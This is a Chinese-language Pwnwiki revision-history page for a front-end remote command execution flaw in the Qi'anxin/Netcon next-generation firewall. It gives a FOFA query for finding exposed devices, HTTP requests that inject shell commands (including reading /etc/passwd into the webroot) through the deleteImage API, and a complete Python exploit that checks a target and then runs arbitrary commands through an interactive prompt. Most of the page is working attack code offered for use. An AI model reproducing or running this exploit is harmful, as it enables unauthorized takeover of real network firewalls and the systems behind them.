Pwnwiki at 02:04, 13 April 2021

2021-04-13T02:04:53Z

Pwnwiki at 02:04, 13 April 2021

2021-04-13T02:04:03Z

Pwnwiki: Created page with "==漏洞利用== 漏洞位置：

 http://xx.xx.xx.xx/directdata/direct/router

===RequestHeader===

 Host: X.X.X.X User-Agent: Mozilla/5.0 (Macintosh; Intel M..."

2021-04-11T04:54:19Z

Created page with "==漏洞利用== 漏洞位置： <pre> http://xx.xx.xx.xx/directdata/direct/router </pre> ===RequestHeader=== <pre> Host: X.X.X.X User-Agent: Mozilla/5.0 (Macintosh; Intel M..."

New page

==漏洞利用==

漏洞位置：
<pre>
http://xx.xx.xx.xx/directdata/direct/router
</pre>

===RequestHeader===
<pre>
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15(KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 155
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
</pre>

===RequestBody===
<pre>
{
"action": "SSLVPN_Resource",
"method": "deleteImage",
"data":[{
"data":["/var/www/html/b.txt;echo'fa3a6469'>/var/www/html/fa3a6.txt"]
}],
"type": "rpc",
"tid": 17

}
</pre>

@@ Line 39: / Line 39: @@
 </pre>
-==漏洞利用==
+==EXP==
 發送以下數據包：
 <pre>

← Older revision		Revision as of 02:04, 13 April 2021
Line 30:		Line 30:
	}		}
	</pre>		</pre>
		+
		+
		+
		+
		+	==FOFA==
		+	<pre>
		+	app="网康科技-下一代防火墙"
		+	</pre>
		+
		+	==漏洞利用==
		+	發送以下數據包：
		+	<pre>
		+	POST /directdata/direct/router HTTP/1.1
		+	Host: XXX.XXX.XXX.XXX
		+	Connection: close
		+	Content-Length: 179
		+	Cache-Control: max-age=0
		+	sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
		+	sec-ch-ua-mobile: ?0
		+	Content-Type: application/json
		+	Upgrade-Insecure-Requests: 1
		+	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
		+	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
		+
		+	{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_cmd.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
		+	</pre>
		+
		+	再請求獲取命令執行結果:
		+	<pre>
		+	http://xxx.xxx.xxx.xxxx/test_cmd.txt
		+	</pre>
		+
		+	==POC==
		+	<pre>
		+	import requests
		+	import sys
		+	import random
		+	from requests.packages.urllib3.exceptions import InsecureRequestWarning
		+
		+	def title():
		+	print('+------------------------------------------')
		+	print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
		+	print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
		+	print('+ \033[34m公众号 : PeiQi文库 \033[0m')
		+	print('+ \033[34mVersion: 奇安信网康下一代防火墙 \033[0m')
		+	print('+ \033[36m使用格式: python3 poc.py \033[0m')
		+	print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
		+	print('+------------------------------------------')
		+
		+	def POC_1(target_url):
		+	vuln_url = target_url + "/directdata/direct/router"
		+	headers = {
		+	"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
		+	"Content-Type": "application/json",
		+	}
		+	data = '{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_cmd.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}'
		+	try:
		+	requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
		+	response = requests.post(url=vuln_url, headers=headers, data=data,verify=False, timeout=5)
		+	if response.status_code == 200 and "success" in response.text:
		+	print("\033[32m[o] 目标{}可能存在漏洞, 正在执行命令 cat /etc/passwd \033[0m".format(target_url))
		+	requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
		+	response = requests.get(url=target_url + "/test_cmd.txt", headers=headers, data=data, verify=False, timeout=5)
		+	if "root" in response.text and response.status_code == 200:
		+	print("\033[32m[o] 响应为： {} \033[0m".format(response.text))
		+	while True:
		+	cmd = input("\033[35mCmd >>> \033[0m")
		+	if cmd == "exit":
		+	sys.exit(0)
		+	else:
		+	POC_2(target_url, cmd)
		+	else:
		+	print("\033[31m[x] 目标不存在漏洞 \033[0m")
		+	sys.exit(0)
		+	except Exception as e:
		+	print("\033[31m[x] 请求失败 \033[0m", e)
		+
		+	def POC_2(target_url, cmd):
		+	vuln_url = target_url + "/directdata/direct/router"
		+	headers = {
		+	"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
		+	"Content-Type": "application/json",
		+	}
		+	data = '{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;%s >/var/www/html/test_cmd.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}' % (cmd)
		+	try:
		+	requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
		+	response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
		+	requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
		+	response = requests.get(url=target_url + "/test_cmd.txt", headers=headers, data=data, verify=False, timeout=5)
		+	print("\033[32m[o] 响应为： \n{} \033[0m".format(response.text))
		+	except Exception as e:
		+	print("\033[31m[x] 请求失败 \033[0m", e)
		+
		+	if __name__ == '__main__':
		+	title()
		+	target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
		+	POC_1(target_url)
		+	</pre>
		+
		+	==參考==
		+	http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E5%A5%87%E5%AE%89%E4%BF%A1/%E5%A5%87%E5%AE%89%E4%BF%A1%20%E7%BD%91%E5%BA%B7%E4%B8%8B%E4%B8%80%E4%BB%A3%E9%98%B2%E7%81%AB%E5%A2%99%20RCE.html

奇安信NS-NGFW 網康防火牆前臺RCE漏洞 - Revision history

Pwnwiki at 02:04, 13 April 2021

Pwnwiki at 02:04, 13 April 2021

Pwnwiki: Created page with "==漏洞利用== 漏洞位置：
http://xx.xx.xx.xx/directdata/direct/router
===RequestHeader===
Host: X.X.X.X User-Agent: Mozilla/5.0 (Macintosh; Intel M..."